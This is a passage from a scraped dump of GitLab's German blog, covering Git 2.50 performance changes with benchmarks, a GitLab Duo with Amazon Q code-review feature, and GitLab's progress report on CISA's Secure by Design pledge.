gleichnamigen Option\n\n\nfür `git-rev-list(1)`, unterstützt jedoch nur eine Teilmenge der\n\n\nFilter. Die folgenden Filter werden unterstützt: `blob:none`, `blob:limit=` und\n\n\n`object:type=`. Ähnlich wie im vorherigen Beispiel können Objekte mit Git direkt nach\n\n\nihrem Typ gefiltert werden:\n\n\n\n```shell\n\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' --filter='object:type=commit'\n\n\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\n\n\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n\n\n```\n\n\n\nEs ist nicht nur praktisch, dass Git die Verarbeitung übernimmt, sondern bei großen\n\n\nRepositories mit vielen Objekten ist dies möglicherweise auch effizienter. Wenn ein\n\n\nRepository über Bitmap-Indizes verfügt, kann Git Objekte eines bestimmten Typs effizient\n\n\nnachschlagen und so das Durchsuchen der\n\n\nPaketierungsdatei vermeiden, wodurch die Geschwindigkeit deutlich erhöht wird. Benchmarks, die im\n\n\n[Chromium-Repository](https://github.com/chromium/chromium.git) durchgeführt wurden, zeigen signifikante Verbesserungen:\n\n\n\n```text\n\n\nBenchmark 1: git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter Time (mean ± σ):     82.806 s ±  6.363 s    [User: 30.956 s, System: 8.264 s] Range (min … max):   73.936 s … 89.690 s    10 runs\n\n\nBenchmark 2: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag Time (mean ± σ):      20.8 ms ±   1.3 ms    [User: 6.1 ms, System: 14.5 ms] Range (min … max):    18.2 ms …  23.6 ms    127 runs\n\n\nBenchmark 3: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit Time (mean ± σ):      1.551 s ±  0.008 s    [User: 1.401 s, System: 0.147 s] Range (min … max):    1.541 s …  1.566 s    10 runs\n\n\nBenchmark 4: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree Time (mean ± σ):     11.169 s ±  0.046 s    [User: 10.076 s, System: 1.063 s] Range (min … max):   11.114 s … 11.245 s    10 runs\n\n\nBenchmark 5: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob Time (mean ± σ):     67.342 s ±  3.368 s    [User: 20.318 s, System: 7.787 s] Range (min … max):   62.836 s … 73.618 s    10 runs\n\n\nBenchmark 6: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none Time (mean ± σ):     13.032 s ±  0.072 s    [User: 11.638 s, System: 1.368 s] Range (min … max):   12.960 s … 13.199 s    10 runs\n\n\nSummary git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag 74.75 ± 4.61 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit 538.17 ± 33.17 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree 627.98 ± 38.77 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none 3244.93 ± 257.23 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob 3990.07 ± 392.72 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter\n\n\n```\n\n\n\nInteressanterweise zeigen diese Ergebnisse, dass die Berechnungszeit jetzt mit\n\n\nder Anzahl der Objekte für einen bestimmten Typ skaliert, anstatt mit der Anzahl der gesamten Objekte\n\n\nin der Paketierungsdatei. Den ursprünglichen (englischsprachigen) Mailinglisten-Thread findest du\n\n\n[hier](https://lore.kernel.org/git/20250221-pks-cat-file-object-type-filter-v1-0-0852530888e2@pks.im/).\n\n\n\n*Dieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) geleitet.*\n\n\n\n## Verbesserte Leistung beim Generieren von Bundles\n\n\n\nGit bietet die Möglichkeit, über den Befehl\n\n\n[`git-bundle(1)` (in englischer Sprache verfügbar)](https://git-scm.com/docs/git-bundle) ein Archiv eines Repositories zu generieren, das einen\n\n\nbestimmten Satz von Referenzen und zugehörigen erreichbaren Objekten enthält. Dieser Vorgang\n\n\nwird von GitLab verwendet, um Repository-Backups zu erstellen, und ist auch ein Teil des\n\n\n[Bundle-URI (in englischer Sprache verfügbar)](https://git-scm.com/docs/bundle-uri)-Mechanismus.\n\n\n\nBei großen Repositories mit Millionen von Referenzen kann dieser Vorgang Stunden oder sogar Tage\n\n\ndauern. Zum Beispiel lagen die Backup-Zeiten für das Haupt-GitLab-Repository\n\n\n([gitlab-org/gitlab](https://gitlab.com/gitlab-org/gitlab)), bei\n\n\netwa 48 Stunden. Die Untersuchung zeigte einen Leistungsengpass, der\n\n\nauf die Art zurückzuführen war, wie Git eine Überprüfung durchführte, um zu vermeiden, dass doppelte Referenzen\n\n\nin das Bundle aufgenommen wurden. Die Implementierung verwendete eine verschachtelte `for`-Schleife, um alle aufgelisteten Referenzen zu durchlaufen und zu\n\n\nvergleichen, was zu einer Zeitkomplexität von O(N^2) führte. Die Skalierbarkeit\n\n\nist sehr schlecht, wenn die Anzahl der Referenzen in einem Repository zunimmt.\n\n\n\nIn dieser Version wurde dieses Problem behoben, indem die verschachtelten Schleifen durch eine \n\n\nDatenzuordnungsstruktur ersetzt wurden, was die Geschwindigkeit erheblich erhöht. Der folgende Benchmark zeigt\n\n\ndie Leistungssteigerung beim Erstellen eines Bundles mit einem Repository, das\n\n\n100 000 Referenzen enthält:\n\n\n\n```text\n\n\nBenchmark 1: bundle (refcount = 100000, revision = master) Time (mean ± σ):     14.653 s ±  0.203 s    [User: 13.940 s, System: 0.762 s] Range (min … max):   14.237 s … 14.920 s    10 runs\n\n\nBenchmark 2: bundle (refcount = 100000, revision = HEAD) Time (mean ± σ):      2.394 s ±  0.023 s    [User: 1.684 s, System: 0.798 s] Range (min … max):    2.364 s …  2.425 s    10 runs\n\n\nSummary bundle (refcount = 100000, revision = HEAD) ran 6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master)\n\n\n```\n\n\n\nWeitere Informationen findest du in unserem Blogbeitrag\n\n\n[Wie wir die Backup-Zeiten für GitLab-Repos von 48 Stunden auf 41 Minuten verringerten (in englischer Sprache verfügbar)](https://about.gitlab.com/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes/).\n\n\nDen ursprünglichen englischsprachigen Mailinglisten-Thread findest du\n\n\n[hier](https://lore.kernel.org/git/20250401-488-generating-bundles-with-many-references-has-non-linear-performance-v1-0-6d23b2d96557@gmail.com/).\n\n\n\n*Dieses Projekt wurde von [Karthik Nayak](https://gitlab.com/knayakgl) geleitet.*\n\n\n\n## Bessere Auflösung von URI-Bundles\n\n\n\nDurch den [Bundle-URI (in englischer Sprache verfügbar)](https://git-scm.com/docs/bundle-uri)-Mechanismus in Git können den Clients\n\n\nOrte zum Abrufen von Bundles zur Verfügung gestellt werden, um\n\n\nKlone und Abrufe zu beschleunigen. Wenn ein Client ein Bundle herunterlädt, werden Referenzen\n\n\nunter `refs/heads/*` zusammen mit\n\n\nden zugehörigen Objekten aus dem Bundle in das Repository kopiert. Ein Bundle kann zusätzliche Referenzen\n\n\naußerhalb von `refs/heads/*` enthalten, wie z. B. `refs/tags/*`, die einfach ignoriert werden, wenn\n\n\ndie Bundle-URI beim Klonen verwendet wird.\n\n\n\nIn Git 2.50 wird diese Einschränkung aufgehoben und alle Referenzen, die mit\n\n\n`refs/*` übereinstimmen und im heruntergeladenen Bundle enthalten sind, werden kopiert.\n\n\n[Scott Chacon](https://github.com/schacon), der diese Funktionalität beigesteuert hat,\n\n\ndemonstriert den Unterschied beim Klonen von\n\n\n[gitlab-org/gitlab-foss](https://gitlab.com/gitlab-org/gitlab-foss):\n\n\n\n```shell\n\n\n$ git-v2.49 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.49\n\n\nCloning into 'gl2.49'...\n\n\nremote: Enumerating objects: 1092703, done.\n\n\nremote: Counting objects: 100% (973405/973405), done.\n\n\nremote: Compressing objects: 100% (385827/385827), done.\n\n\nremote: Total 959773 (delta 710976), reused 766809 (delta 554276), pack-reused 0 (from 0)\n\n\nReceiving objects: 100% (959773/959773), 366.94 MiB | 20.87 MiB/s, done.\n\n\nResolving deltas: 100% (710976/710976), completed with 9081 local objects.\n\n\nChecking objects: 100% (4194304/4194304), done.\n\n\nChecking connectivity: 959668, done.\n\n\nUpdating files: 100% (59972/59972), done.\n\n\n\n$ git-v2.50 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.50\n\n\nCloning into 'gl-2.50'...\n\n\nremote: Enumerating objects: 65538, done.\n\n\nremote: Counting objects: 100% (56054/56054), done.\n\n\nremote: Compressing objects: 100% (28950/28950), done.\n\n\nremote: Total 43877 (delta 27401), reused 25170 (delta 13546), pack-reused 0 (from 0)\n\n\nReceiving objects: 100% (43877/43877), 40.42 MiB | 22.27 MiB/s, done.\n\n\nResolving deltas: 100% (27401/27401), completed with 8564 local objects.\n\n\nUpdating files: 100% (59972/59972), done.\n\n\n```\n\n\n\nWenn wir diese Ergebnisse vergleichen, sehen wir, dass Git 2.50 43 887 Objekte\n\n\n(40,42 MiB) abruft, nachdem das Bundle extrahiert wurde, während Git 2.49\n\n\ninsgesamt 959 773 Objekte (366,94 MiB) abruft. Git 2.50 ruft etwa 95 % weniger\n\n\nObjekte und 90 % weniger Daten ab, was vorteilhaft sowohl für den Client als auch für den Server ist. Der\n\n\nServer muss viel weniger Daten für den Client verarbeiten und der Client muss weniger Daten\n\n\nherunterladen und extrahieren. In dem von Scott angegebenen Beispiel führte dies zu einer\n\n\nBeschleunigung um 25 %.\n\n\n\nWeitere Informationen findest du im entsprechenden englischsprachigen\n\n\n[Mailinglisten-Thread](https://lore.kernel.org/git/pull.1897.git.git.1740489585344.gitgitgadget@gmail.com/).\n\n\n\n*Diese Patch-Serie wurde von [Scott Chacon](https://github.com/schacon) beigesteuert.*\n\n\n\n## Weiterlesen\n\n\n\nIn diesem Artikel werden nur einige der Beiträge von GitLab und\n\n\nder größeren Git-Community für diese neueste Veröffentlichung vorgestellt. Mehr darüber erfährst du in\n\n\nder [offiziellen Veröffentlichungsankündigung](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/) des Git-Projekts. Sieh dir auch\n\n\nunsere [letzten Blogbeiträge zu Git-Releases (in englischer Sprache verfügbar)](https://about.gitlab.com/blog/tags/git/)\n\n\nan, um weitere wichtige Beiträge von GitLab-Teammitgliedern zu entdecken.\n","2025-06-16",[849,913,270],{"featured":92,"template":682,"slug":1385},"what-s-new-in-git-2-50-0","content:de-de:blog:what-s-new-in-git-2-50-0.yml","What S New In Git 2 50 0","de-de/blog/what-s-new-in-git-2-50-0.yml","de-de/blog/what-s-new-in-git-2-50-0",{"_path":1391,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1392,"content":1399,"config":1405,"_id":1407,"_type":16,"title":1408,"_source":17,"_file":1409,"_stem":1410,"_extension":20},"/de-de/blog/speed-up-code-reviews-let-ai-handle-the-feedback-implementation",{"title":1393,"description":1394,"ogTitle":1393,"ogDescription":1394,"noIndex":6,"ogImage":1268,"ogUrl":1395,"ogSiteName":1396,"ogType":1397,"canonicalUrls":1395,"schema":1398},"Code-Reviews beschleunigen: Lass KI die Feedback-Implementierung übernehmen","Entdecke, wie GitLab Duo mit Amazon Q die Implementierung von Code-Review-Feedback durch KI automatisiert und einen zeitaufwendigen manuellen Prozess in einen optimierten Workflow verwandelt.","https://about.gitlab.com/de-de/blog/speed-up-code-reviews-let-ai-handle-the-feedback-implementation","https://about.gitlab.com","article","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Code-Reviews beschleunigen: Lass KI die Feedback-Implementierung übernehmen\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2025-06-10\",\n      }",{"title":1393,"description":1394,"authors":1400,"heroImage":1268,"date":1401,"body":1402,"category":677,"tags":1403},[888],"2025-06-10","Kennst du das Gefühl, wenn du gerade einen Merge Request eingereicht hast und die Code-Review-Kommentare eintrudeln? Ein Reviewer möchte die Labels aktualisiert haben, ein anderer fragt nach Side-by-Side-Layouts, jemand anderes fordert fette Formatierung, und vergiss nicht die Änderung der Button-Farbe. Bevor du dich versiehst, verbringst du Stunden mit der Implementierung von Feedback, das zwar wichtig ist, dich aber davon abhält, neue Features zu entwickeln. Es ist ein zeitaufwendiger Prozess, dem sich jede(r) Entwickler(in) stellen muss, aber es fühlt sich an, als sollte es einen besseren Weg geben.\n\nWas wäre, wenn du einen KI-Assistenten hättest, der Code-Review-Feedback versteht und die Änderungen automatisch für dich implementiert? Genau das bringt [GitLab Duo mit Amazon Q](https://about.gitlab.com/de-de/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/) in deinen Entwicklungsworkflow. Diese nahtlose Integration kombiniert GitLabs umfassende DevSecOps-Plattform mit Amazon Qs fortgeschrittenen KI-Fähigkeiten und schafft einen intelligenten Assistenten, der Reviewer-Kommentare lesen und direkt in Code-Änderungen umwandeln kann. Anstatt jedes Feedback manuell zu bearbeiten, kannst du die KI die Implementierung übernehmen lassen, während du dich auf das große Ganze konzentrierst.\n\n## Wie GitLab Duo mit Amazon Q funktioniert\n\nWenn du einen Merge Request mit Reviewer-Kommentaren ansiehst, siehst du Feedback, das über deinen Code verteilt ist. Nehmen wir die Beispiele von vorhin: Vielleicht hast du eine Anfrage erhalten, hier ein Formular-Label zu aktualisieren, dort einen Vorschlag, Felder nebeneinander anzuzeigen, oder eine Notiz, bestimmten Text fett zu formatieren. Jeder Kommentar stellt eine Aufgabe dar, die du normalerweise manuell erledigen müsstest.\n\n![Feedback zu einem MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673634/Blog/Content%20Images/1-show-comment.png)\n\nMit GitLab Duo mit Amazon Q kannst du einfach die `/q dev` Quick Action in einem Kommentar eingeben. Dies veranlasst Amazon Q, das gesamte Feedback zu analysieren und automatisch mit der Modifikation deines Codes zu beginnen. Der KI-Agent versteht den Kontext jedes Kommentars und implementiert die angeforderten Änderungen direkt in deiner Codebasis.\n\n![/q dev-Funktion veranlasst Amazon Q zur Analyse des Feedbacks](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673634/Blog/Content%20Images/2-invoke-q-dev.png)\n\nSobald Amazon Q das Feedback verarbeitet hat, kannst du alle Updates im „Änderungen\"-Tab deines Merge Requests einsehen. Jede Modifikation ist klar sichtbar, sodass du überprüfen kannst, dass der KI-Agent jedes Feedback korrekt interpretiert und implementiert hat. Du kannst dann deine aktualisierte Anwendung ausführen, um zu bestätigen, dass alle Änderungen wie erwartet funktionieren – das Formular-Label ist aktualisiert, die Felder werden nebeneinander angezeigt, der Text ist fett, und ja, dieser Button ist jetzt blau.\n\nSieh dir den Code-Review-Feedback-Prozess in Aktion an:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/31E9X9BrK5s?si=ThFywR34V3Bfj1Z-\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nDie Verarbeitung von Code-Review-Feedback ist ein notwendiger, aber zeitintensiver Teil der Softwareentwicklung. GitLab Duo mit Amazon Q entwickelt diesen manuellen Prozess zu einem automatisierten Workflow weiter und reduziert drastisch die Zeit zwischen dem Erhalt von Feedback und der Implementierung von Änderungen. Indem du die KI diese routinemäßigen Modifikationen übernehmen lässt, bist du frei, dich auf das zu konzentrieren, was wirklich zählt – innovative Features zu entwickeln und komplexe Probleme zu lösen.\n\nMit GitLab Duo mit Amazon Q kannst du:\n- Stunden manueller Feedback-Implementierung eliminieren\n- Deine Code-Review-Zyklen beschleunigen\n- Konsistenz bei der Bearbeitung von Feedback gewährleisten\n- Kontextwechsel zwischen Review-Kommentaren und Code-Schreiben reduzieren\n- Features mit optimierten Bereitstellungszeiten schneller ausliefern\n\n> #### Um mehr über GitLab Duo mit Amazon Q zu erfahren, besuche uns bei einem kommenden [AWS Summit in einer Stadt in deiner Nähe](https://about.gitlab.com/de-de/events/aws-summits/) oder [wende dich an deinen GitLab-Vertreter](https://about.gitlab.com/de-de/partners/technology-partners/aws/#form).\n\n## GitLab Duo mit Amazon Q Ressourcen\n\n- [GitLab Duo mit Amazon Q: Agentische KI optimiert für AWS allgemein verfügbar](https://about.gitlab.com/de-de/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/)\n- [GitLab und AWS Partnerseite](https://about.gitlab.com/de-de/partners/technology-partners/aws/)\n- [GitLab Duo mit Amazon Q Dokumentation](https://docs.gitlab.com/user/duo_amazon_q/)\n- [Was ist agentische KI?](https://about.gitlab.com/de-de/topics/agentic-ai/)\n- [Agentische KI-Leitfäden und Ressourcen](https://about.gitlab.com/de-de/blog/agentic-ai-guides-and-resources/)",[680,745,746,1272,1404,767],"code review",{"slug":1406,"featured":92,"template":682},"speed-up-code-reviews-let-ai-handle-the-feedback-implementation","content:de-de:blog:speed-up-code-reviews-let-ai-handle-the-feedback-implementation.yml","Speed Up Code Reviews Let Ai Handle The Feedback Implementation","de-de/blog/speed-up-code-reviews-let-ai-handle-the-feedback-implementation.yml","de-de/blog/speed-up-code-reviews-let-ai-handle-the-feedback-implementation",{"_path":1412,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1413,"content":1419,"config":1427,"_id":1429,"_type":16,"title":1430,"_source":17,"_file":1431,"_stem":1432,"_extension":20},"/de-de/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress",{"ogTitle":1414,"schema":1415,"ogImage":1416,"ogDescription":1417,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":1418,"title":1414,"canonicalUrls":1418,"description":1417},"GitLab: Ein Jahr Secure by Design – unser Update","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Letztes Jahr haben wir das Secure by Design-Versprechen unterzeichnet – hier ist unser Fortschritt\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2025-06-09\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659684/Blog/Hero%20Images/AdobeStock_479904468__1_.jpg","Ein Jahr Secure by Design: GitLabs Fortschritte bei MFA, Passwort-Sicherheit, Patches und Schwachstellen-Management. CISA-konform.","https://about.gitlab.com/de-de/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress",{"title":1420,"description":1421,"authors":1422,"heroImage":1416,"date":1424,"body":1425,"category":765,"tags":1426},"Letztes Jahr haben wir das Secure by Design-Versprechen unterzeichnet – hier ist unser Fortschritt","Erfahre mehr über GitLabs CISA-konforme Erweiterungen und Verbesserungen bei MFA, Reduzierung von Standardpasswörtern, Patches und Offenlegung von Schwachstellen.",[1423],"Joseph Longo","2025-06-09","Vor etwas mehr als einem Jahr hat GitLab [CISAs Secure by Design Pledge](https://about.gitlab.com/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17/) unterzeichnet, eine Richtlinie für Technologieanbieter, Sicherheit von Beginn der Entwicklung an ins Herz ihrer Produkte zu integrieren. Seitdem haben wir erhebliche Fortschritte bei der Verbesserung unserer Sicherheitslage gemacht und ein sichereres Ökosystem für unsere Kund(inn)en geschaffen, um sichere Software schneller zu entwickeln.\n\n## Die Sicherheitsziele erreichen\n\nSchauen wir uns die Erweiterungen und Verbesserungen an, die wir vorgenommen haben, um die Sicherheit über den gesamten Entwicklungslebenszyklus hinweg weiter zu verbessern.\n\n### Multi-Faktor-Authentifizierung (MFA)\n\n***Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens nachweisbare Maßnahmen zur messbaren Erhöhung der Nutzung von Multi-Faktor-Authentifizierung in den Produkten des Herstellers demonstrieren.***\n\nGitLab bietet derzeit mehrere [MFA](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html)-Optionen für Nutzer(innen), um ihre Konten zu sichern. Wir bieten auch SSO-Funktionalität an, damit [GitLab.com](https://docs.gitlab.com/ee/user/group/saml_sso/)-, [Self-Managed](https://docs.gitlab.com/integration/saml/)- und [GitLab Dedicated](https://docs.gitlab.com/integration/saml/)-Kund(inn)en ihre Authentifizierungsprozesse und internen MFA-Anforderungen optimieren können.\n\nUm die Widerstandsfähigkeit der Plattform weiter zu verbessern und eine sicherere Grundlage für unsere Kund(inn)en zu schaffen, führt GitLab eine schrittweise MFA-by-Default-Einführung durch.\n\nIn den kommenden Monaten werden wir Änderungen implementieren, die alle Kund(inn)en verpflichten, MFA für ihre Konten zu aktivieren.\n\nFür Kund(inn)en, die bereits MFA aktiviert haben oder sich über die Single-Sign-On-Methode (SSO) ihrer Organisation bei GitLab authentifizieren, sind keine Änderungen erforderlich. Kund(inn)en, die noch keine MFA aktiviert haben und sich nicht über die SSO-Methode ihrer Organisation bei GitLab authentifizieren, müssen MFA aktivieren und sich für eine oder mehrere der verfügbaren MFA-Methoden registrieren.\n\nDie MFA-Einführung erfolgt in Phasen, um eine reibungslose und konsistente Annahme bei allen Kund(inn)en zu gewährleisten. Weitere Details zu GitLabs MFA-by-Default-Einführung werden in naher Zukunft geteilt.\n\n### Standardpasswörter\n\n***Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens messbaren Fortschritt bei der Reduzierung von Standardpasswörtern in den Produkten des Herstellers demonstrieren.***\n\nUm die Verwendung von Standardpasswörtern zu reduzieren, nutzt GitLab zufällig generierte Root-Passwörter für seine verschiedenen Installationsmethoden. GitLabs [Installationsanweisungen](https://docs.gitlab.com/ee/install/install_methods.html) für mehrere Methoden enthalten auch Anleitungen, wie das zufällig generierte Root-Passwort für jede Installation geändert werden kann.\n\nBei einigen Installationsmethoden, wie der Installation von GitLab in einem Docker-Container, wird die Passwortdatei mit dem initialen Root-Passwort beim ersten Container-Neustart nach 24 Stunden gelöscht, um die GitLab-Instanz weiter zu härten.\n\n### Reduzierung ganzer Klassen von Schwachstellen\n\n***Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens Maßnahmen demonstrieren, die eine signifikante messbare Reduzierung der Verbreitung einer oder mehrerer Schwachstellenklassen in den Produkten des Herstellers ermöglichen.***\n\nGitLab hat [Richtlinien für sicheres Programmieren](https://docs.gitlab.com/ee/development/secure_coding_guidelines.html#sast-coverage) auf seiner Dokumentationsseite veröffentlicht, die Beschreibungen und Richtlinien zur Behebung von Sicherheitsschwachstellen enthalten, die häufig in der GitLab-Codebasis identifiziert werden.\n\nDie Richtlinien sind „darauf ausgelegt, Entwickler(inne)n zu helfen, potenzielle Sicherheitsschwachstellen frühzeitig zu identifizieren, mit dem Ziel, die Anzahl der im Laufe der Zeit veröffentlichten Schwachstellen zu reduzieren.\"\n\nGitLab verbessert kontinuierlich seine [SAST-Regelabdeckung](https://docs.gitlab.com/development/secure_coding_guidelines#sast-coverage), um umfassendere Sicherheitsschwachstellen für sich selbst und seine Kund(inn)en zu adressieren.\n\n### Sicherheitspatches\n\n***Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens Maßnahmen demonstrieren, um die Installation von Sicherheitspatches durch Kund(inn)en messbar zu erhöhen.***\n\nGitLab übernimmt alle Updates im Zusammenhang mit seinen GitLab.com- und GitLab Dedicated-Serviceangeboten. Zusätzlich veröffentlicht GitLab eine [Wartungsrichtlinie](https://docs.gitlab.com/ee/policy/maintenance.html), die den Ansatz für die Veröffentlichung von Updates, Rückportierungen, Upgrade-Empfehlungen und unterstützende Dokumentation usw. darlegt.\n\nDie GitLab-Dokumentation bietet umfassende Anleitungen zum [Upgrade](https://docs.gitlab.com/ee/update/?tab=Self-compiled+%28source%29#upgrade-based-on-installation-method) von Self-Managed-Instanzen basierend auf ihrem Bereitstellungsmodell. Dies umfasst Omnibus-, Helm-Chart-, Docker- und selbstkompilierte GitLab-Installationen.\n\nGitLab bietet auch einen detaillierten [Upgrade-Plan](https://docs.gitlab.com/ee/update/plan_your_upgrade.html), um ordnungsgemäße Tests und Fehlerbehebung sowie bei Bedarf Rollback-Pläne zu gewährleisten.\n\nJe nach Versions-Upgrade werden spezifische Änderungen ([Beispiel für GitLab 17](https://docs.gitlab.com/ee/update/versions/gitlab_17_changes.html)) für jede Version hervorgehoben, um einen reibungslosen Upgrade-Prozess zu gewährleisten und die Nichtverfügbarkeit von Diensten zu begrenzen.\n\n### Richtlinie zur Offenlegung von Schwachstellen\n\n***Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens eine Richtlinie zur Offenlegung von Schwachstellen (VDP) veröffentlichen.***\n\nGitLab unterhält ein starkes Bug-Bounty-Programm über [HackerOne](https://hackerone.com/gitlab?type=team), eine [security.txt](https://gitlab.com/.well-known/security.txt)-Datei, die GitLabs bevorzugte und zusätzliche Offenlegungsprozesse hervorhebt, sowie [Release-Posts](https://about.gitlab.com/de-de/releases/categories/releases/), die Sicherheitsfixes hervorheben.\n\nKund(inn)en und die Öffentlichkeit können sich anmelden, um GitLabs Release-Posts direkt in ihrem E-Mail-Posteingang zu erhalten.\n\n### Common Vulnerability Enumerations\n\n***Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens Transparenz in der Schwachstellenberichterstattung demonstrieren***\n\nGitLab fügt das Common Weakness Enumeration (CWE)-Feld in alle Common Vulnerability Enumeration (CVE)-Datensätze ein, die es veröffentlicht. Im vergangenen Jahr hat GitLab iterativ auch das Common Platform Enumeration (CPE)-Feld in CVE-Datensätzen aufgenommen.\n\nDas GitLab [CVE-Zuweisungsprojekt](https://gitlab.com/gitlab-org/cves) speichert eine Kopie aller CVE-Identifikatoren, die von GitLab in seiner Rolle als CVE Numbering Authority zugewiesen und veröffentlicht wurden.\n\n> Schau dir [GitLabs CVE-Einreichungsvorlage](https://gitlab.com/gitlab-org/cves/-/blob/master/.gitlab/issue_templates/Internal%20GitLab%20Submission.md?ref_type=heads) an.\n\n### Beweise für Eindringlinge\n\n***Ziel: Innerhalb eines Jahres nach Unterzeichnung des Versprechens eine messbare Erhöhung der Fähigkeit von Kund(inn)en demonstrieren, Beweise für Cybersicherheitseindringlinge zu sammeln, die die Produkte des Herstellers betreffen.***\n\nGitLab hat einen [Leitfaden zur Vorfallreaktion](https://docs.gitlab.com/ee/security/responding_to_security_incidents.html) veröffentlicht, um Kund(inn)en bei der Reaktion auf Vorfälle mit GitLab-Instanzen zu helfen. Zusätzlich hat GitLab Open-Source-Versionen seiner [GUARD Detection-as-Code](https://about.gitlab.com/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab/)- und TLDR-Bedrohungserkennungs-Frameworks veröffentlicht. Die Repositories für diese Open-Source-Frameworks finden sich im [GitLab Open Source Security Center](https://about.gitlab.com/de-de/security/open-source-resources/).\n\nIn ähnlicher Weise fügt GitLab Funktionalität zu seinem [GitLab.com](http://gitLab.com)-Serviceangebot hinzu, um [kompromittierte Passwörter zu erkennen](https://about.gitlab.com/blog/introducing-compromised-password-detection-for-gitlab-com/) für alle Anmeldungen, die GitLabs native Benutzername- und Passwort-Authentifizierungsmethode verwenden.\n\n## Was kommt als Nächstes\n\nDie [Mission der GitLab Security Division](https://gitlab.com/gitlab-com/gl-security) ist es, allen zu ermöglichen, auf einer sicheren, geschützten und vertrauenswürdigen DevSecOps-Plattform zu innovieren und erfolgreich zu sein.\n\nGitLabs Sicherheitsverbesserungen im vergangenen Jahr haben es uns ermöglicht, unser Engagement für CISAs Secure by Design Pledge zu demonstrieren, und sie haben unsere Plattform gestärkt und Kund(inn)en eine zuverlässigere und sicherere Grundlage zum Aufbauen gegeben.\n\nUnser Engagement für Iteration bedeutet, dass wir uns bereits auf die nächste Reihe von Innovationen konzentrieren, die uns voranbringen werden.\n\n> Um mehr über GitLabs Sicherheitsverbesserungen zu erfahren, setze ein Lesezeichen für unsere [Sicherheitsseite im GitLab Blog](https://about.gitlab.com/de-de/blog/categories/security/).\n\n## Mehr lesen\n\n* [Secure by Design-Prinzipien treffen auf DevSecOps-Innovation in GitLab 17 (Englisch)](https://about.gitlab.com/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17/)\n* [Happy Birthday, Secure by Design! (Englisch)](https://about.gitlab.com/blog/happy-birthday-secure-by-design/)\n* [Stärke deine Cybersicherheitsstrategie mit Secure by Design](https://about.gitlab.com/de-de/the-source/security/strengthen-your-cybersecurity-strategy-with-secure-by-design/)",[787,746,765,188],{"slug":1428,"featured":92,"template":682},"last-year-we-signed-the-secure-by-design-pledge-heres-our-progress","content:de-de:blog:last-year-we-signed-the-secure-by-design-pledge-heres-our-progress.yml","Last Year We Signed The Secure By Design Pledge Heres Our Progress","de-de/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress.yml","de-de/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress",{"_path":1434,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1435,"content":1442,"config":1450,"_id":1452,"_type":16,"title":1453,"_source":17,"_file":1454,"_stem":1455,"_extension":20},"/de-de/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes",{"ogTitle":1436,"schema":1437,"ogImage":1438,"ogDescription":1439,"ogSiteName":1396,"noIndex":6,"ogType":1440,"ogUrl":1441,"title":1436,"canonicalUrls":1441,"description":1439},"GitLab: Repository-Backups von 48h auf 41min reduziert","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Verkürzung der Backup-Zeiten von 48 Stunden auf 41 Minuten\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Karthik Nayak\"},{\"@type\":\"Person\",\"name\":\"Manuel 